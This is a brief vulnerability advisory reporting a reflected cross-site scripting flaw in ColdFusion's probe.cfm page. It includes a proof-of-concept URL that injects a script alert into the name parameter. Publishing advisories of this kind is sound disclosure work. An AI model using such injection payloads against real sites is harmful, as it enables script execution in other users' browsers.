ColdFusion probe.cfm Cross Site Scripting

2011.08.19
Credit: none
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

*Describe*ColdFusion probe.cfm page local parameter can xss *CVE&#163;*Unknow *PoC* http://127.0.0.1/CFIDE/probe.cfm?name=<script>alert("G.R0b1n")</script> URL.Name parameter can xss only local. Or visit: http://www.focusecurity.org/2011/08/ColdFusion-Local-Parameter-Xss-Exploit.html


See this note in RAW Version
Vote for this issue:
50%
50%

Comment it here.
Copyright 2025, cxsecurity.com

 

Back to Top